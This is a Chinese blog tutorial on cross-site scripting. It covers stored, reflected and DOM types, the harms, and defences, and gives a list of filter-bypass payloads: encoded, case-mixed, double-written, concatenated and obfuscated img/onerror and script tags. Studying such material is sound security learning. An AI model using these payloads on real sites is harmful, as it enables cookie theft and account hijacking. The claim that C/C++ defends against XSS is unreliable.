XSS的产生,利用与防御
本文部分参考:
https://www.jianshu.com/p/4fcb4b411a66
XSS漏洞常年位列OWASP TOP10。属于web应用程序中常见的一种漏洞。
二:XSS漏洞的分类。XSS漏洞分为存储型,反射性和DOM型。
XSS漏洞的简介:跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
常见的输出函数有:
echo printf print print_r sprintf die var-dump var_export
XSS的危害:
1.窃取管理员帐号或Cookie,入侵者可以冒充管理员的身份登录后台。使得入侵者具有恶意操纵后台数据的能力,包括读取、更改、添加、删除一些信息。
2.窃取用户的个人信息或者登录帐号,对网站的用户安全产生巨大的威胁。例如冒充用户身份进行各种操作。
3.网站挂马。先将恶意攻击代码嵌入到Web应用程序之中。当用户浏览该挂马页面时,用户的计算机会被植入木马。
4.发送广告或者垃圾信息。攻击者可以利用XSS漏洞植入广告,或者发送垃圾信息,严重影响到用户的正常使用。例如当年的微博xss蠕虫,参考:
https://www.cnblogs.com/yjf512/archive/2012/03/08/2385093.html
反射型:反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。 反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。(只要是有框的地方就可能存在反射型漏洞)
存储型(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。
此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。
持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
DOM型:
DOM-basedXSS漏洞是基于文档对象模型(Document Object Model)的一种漏洞。这种XSS与反射型XSS、持久型XSS在原理上有本质区别,它的攻击代码并不需要服务器解析响应,触发XSS靠的是浏览器端的DOM解析。客户端上的JavaScript脚本可以访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获取数据并执行。
在客户端直接输出DOM内容的时候极易触发DOM型XSS漏洞,如
document.getElementByld(“x’).innerHTML、document.write)等。
(小声逼逼:DOM型我是真的不熟,上面解释参考):
https://blog.csdn.net/lay_loge/article/details/90440207
XSS漏洞的利用:
XSS利用的绕过可以参考:
https://blog.csdn.net/qq_43621629/article/details/104641578
最常用的一条语句:
<script>alert("XSS")</script>
如果语句没有被执行或者显示错误,说明网站可能对字符进行了过滤,我们这时候需要进行绕过。
常见的绕过方式:编码绕过,大小写绕过,双写绕过,字符拼接,过滤空格,字符混淆绕过。
编码绕过,由于实在是有点多,这里就拿url编码绕过和base64绕过做演示
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
大小写绕过:
<ImG sRc=x onerRor=alert("xss");>
双写绕过:
<imimgg srsrcc=x onerror=alert("xss");>
字符拼接绕过:
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
过滤空格绕过:
<img/src="x"/onerror=alert("xss");>
字符混淆绕过:
1.<<script>alert("xss");//<</script> 2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效 3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
XSS漏洞的防御:
1.对输入内容的特定字符进行编码,例如表示 html标记的 < > 等符号
2.使用强语言,例如java、.NET、C/C++。
3.使用HTTP头指定类型